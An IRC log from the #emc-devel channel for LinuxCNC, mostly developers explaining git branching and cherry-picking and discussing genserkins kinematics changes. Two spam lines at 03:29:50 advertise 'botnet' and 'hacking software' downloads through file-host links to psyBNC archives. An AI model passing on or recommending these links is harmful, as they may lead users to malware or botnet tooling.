#emc-devel | Logs for 2010-11-21

[00:57:31] <skunkworks> yay - second pallet station now works!
[01:24:50] <SWPadnos> hmmm. so I have some more silly git questions
[01:24:58] <SWPadnos> (in both senses of the word)
[01:25:33] <SWPadnos> I have changes on master, which I'd like to merge into ja3. how do I do this?
[01:25:53] <SWPadnos> if I checkout ja3, shouldn't that do something to my changed file(s)?
[01:26:58] <SWPadnos> I guess git merge <blah blah> should be step 1, but then again I don't know which if any changes shouldn't be merged
[03:29:50] <cwo_pengen_Gtuan> wanna make a botnet download http://uploadmirrors.com/download/FBAIGMFU/psyBNC2.3.1_3.rar
[03:29:50] <cwo_pengen_Gtuan> hacking software download http://uploadmirrors.com/download/NXITRDYP/psyBNC2.3.1_2.rar
[04:09:17] <jepler> SWPadnos: if you have work *in your working tree* that you want to commit on a different branch, then git stash; git checkout otherbranch; git stash pop
[04:09:32] <SWPadnos> ok, thanks
[04:09:44] <SWPadnos> I think I want it on both trees actually, so I could commit on master first
[04:09:50] <jepler> if you have *commited work* on a branch that is different than the one you want it on, use 'git rebase' or 'git cherry-pick' to put the commits on the branch you want, and then reset the original branch to before those commits
[04:10:04] <SWPadnos> I just don't know for sure if there's anything that shouldn't be merged from master to ja3
[04:10:24] <jepler> ultimately we'll either merge everything from master to ja3, or merge ja3 to master
[04:10:37] <SWPadnos> ok, so reset is "undo this stuff and forget it ever happened"
[04:11:47] <jepler> yes
[04:13:10] <jepler> what is it you're doing?
[04:13:12] <SWPadnos> it's not quite so time critical at the moment, I can't tell if my changes work yet
[04:13:21] <jepler> then for now don't push them
[04:14:07] <SWPadnos> adding parameters to genserkins so that joints that don't rotate with the prior joint (like Stuart's robot lower arm) can be handled easily
[04:14:53] <jepler> I'd be tempted to say to do that work in ja3, and forget about master
[04:14:53] <SWPadnos> also I'll add some error counters to track things like not converging after max_iterations and if some of the matrix inversions don't work
[04:15:03] <SWPadnos> well, that would make sense :)
[04:15:12] <jepler> the use of genserkins in master is much more limited than ja3, so anybody who wants to use it should sensibly choose ja3
[04:15:22] <SWPadnos> I just happened to be in master when I made max_iterations a parameter
[04:15:26] <SWPadnos> yep
[04:15:32] <jepler> once we decide that ja3 should be merged into master we'll get your change in master as well
[04:15:46] <SWPadnos> since I started working in master, I figured I should make the change in both places
[04:16:02] <SWPadnos> (and some changes have already been committed, though they stand alone)
[04:16:06] <jepler> did you push it yet?
[04:16:11] <SWPadnos> yes
[04:16:17] <SWPadnos> the max_iterations thing at least
[04:17:12] <SWPadnos> and some initialization of HAL data, making the max_joints define actually do something ...
[04:19:06] <jepler> there are some merge conflicts merging master into ja3 so unfortunately it's not trivial
[04:19:50] <SWPadnos> bummer. I'm not good for much more than trivial with git at this point :(
[04:20:21] <SWPadnos> I should be able to cherry-pick into ja3 though
[04:20:58] <SWPadnos> incidentally, if you make changes in several branches (modify / commit / cherry-pick to another branch), are all the changes made at the same time when you push?
[04:21:13] <SWPadnos> my assumption is yes, unless you tell git to do something else
[04:21:31] <jepler> always use 'git push --dry-run' to verify what push will do before you do it
[04:21:41] <SWPadnos> yeah, luckily I learned that much :)
[04:21:54] <jepler> I use the git config item push.default to change the default. I prefer push.default set to tracking.
[04:22:27] <jepler> it looks like the merge conflict is probably easy to resolve, but I am not about to push my resolution of it tonight -- it's too late to sleep
[04:22:40] <SWPadnos> yeah
[04:22:51] <jepler> before cherry-picking to ja3 let's wait for the light of a new day and see about this merge
[04:22:56] <SWPadnos> I can look at this stuff in the air (which is a cool thing about git)
[04:22:58] <jepler> then continue with genserkins improvements on ja3
[04:23:35] <jepler> 'night
[04:23:43] <SWPadnos> see you
[07:38:00] <Jymmm> anyone awake?
[14:39:12] <mhaberler> pyvcp: anybody have a working glade example embedded in axis as EMBED_TAB ?
[14:39:14] <mhaberler> btw: the currend gladevcp in master needs a s/gladevcp_makepins/gladevcp.makepins/g
[14:39:37] <mhaberler> all I get is a panel with greyed out widgets, hal pins ok and all
[14:45:05] <ries_> ries_ is now known as ries
[20:33:51] <alex_joni> SWPadnos: the 3 motors for 4,5,6 in one place is pretty common for puma-type robots